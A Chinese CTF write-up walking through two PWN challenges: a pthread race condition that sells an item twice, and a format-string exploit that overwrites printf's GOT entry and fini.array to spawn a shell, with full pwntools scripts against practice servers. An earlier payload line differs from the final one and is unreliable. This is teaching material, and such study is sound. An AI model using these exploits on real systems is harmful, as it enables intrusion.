# 记录两道 PWN 题
给新生出题,出累了,随便看了两个 PWN 题,发现这两个 PWN 都值得记录一下
- ONE
# [NISACTF 2022]shop_pwn
题目标签:
pthread_create 多线程竞争
执行程序如下:
放入 IDA 看一下具体的函数:
看一下主要的函数
脚本如下:
这里利用了 pthread_create 创建进程,那么如果我们指令发送得快的话,那么就可以实现第一次售卖功能执行的时候正在 unsleep,接着执行第二次售卖功能,那么就能卖出两次得到可以购买 flag 的金钱了
pwntool 的 sendline 发送指令很快
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
r = remote('node5.anna.nssctf.cn',28929)
r.sendline("3")
r.sendline("0")
r.sendline("3")
r.sendline("0")
r.interactive()
结果如下:
- two
# [CISCN 2019 西南] PWN1
当
RELRO
保护为NO RELRO
的时候,init.array、fini.array、got.plt
均可读可写;为PARTIAL RELRO
的时候,ini.array、fini.array
可读不可写,got.plt
可读可写;为FULL RELRO
时,init.array、fini.array、got.plt
均可读不可写。
程序在加载的时候,会依次调用
init.array
数组中的每一个函数指针,在结束的时候,依次调用fini.array
中的每一个函数指针
当程序出现格式化字符串漏洞,但是需要写两次才能完成攻击,这个时候可以考虑改写
fini.array
中的函数指针为main
函数地址,可以再执行一次main
函数。一般来说,这个数组的长度为1
,也就是说只能写一个地址。
32 位程序修改 got 表。
执行程序参看偏移:
看一下 IDA:
利用思路:
通过格式化字符串漏洞去修改 printf_got,修改为 system。但是程序只能执行一次,所以修改完后,程序会退出。
但是如果如下图所示
我们就可以去修改 fini.array
, 将其参数 1,给覆写成 main,那么程序在退出后就会再次执行 main 函数。
payload:
payload = b"%2052c%13hn%356c%15$hn" + p32(0x804989c + 2) + p32(0x804989c) + p32(0x804979c)
通过 gdb 去看一眼 payload 进入程序的情况:
当读入 pyload 时的情况
这时程序读入 payload。现在 got 表项指向的还是 printf_plt。
当执行到 printf 函数时,printf_got 修改为 system fini_array 的第一个参数修改为 main
当我们程序结束时,就会再次跳转到 main 函数入口,在读入 /bin/sh,接着会在调用 printf 函数,会执行 system (/bin/sh),从而获取 shell
exp 如下:
from pwn import *
r = remote('node5.anna.nssctf.cn',28467)
# r = gdb.debug("./XNPWN1")
# 往fini.array[0]写main@text, printf@got写system@plt
payload = b"%2052c%13$hn%31692c%14$hn%356c%15$hn" + p32(0x804989c + 2) + p32(0x804989c) + p32(0x804979c)
r.recvline()
r.sendline(payload)
r.sendline("/bin/sh")
r.interactive()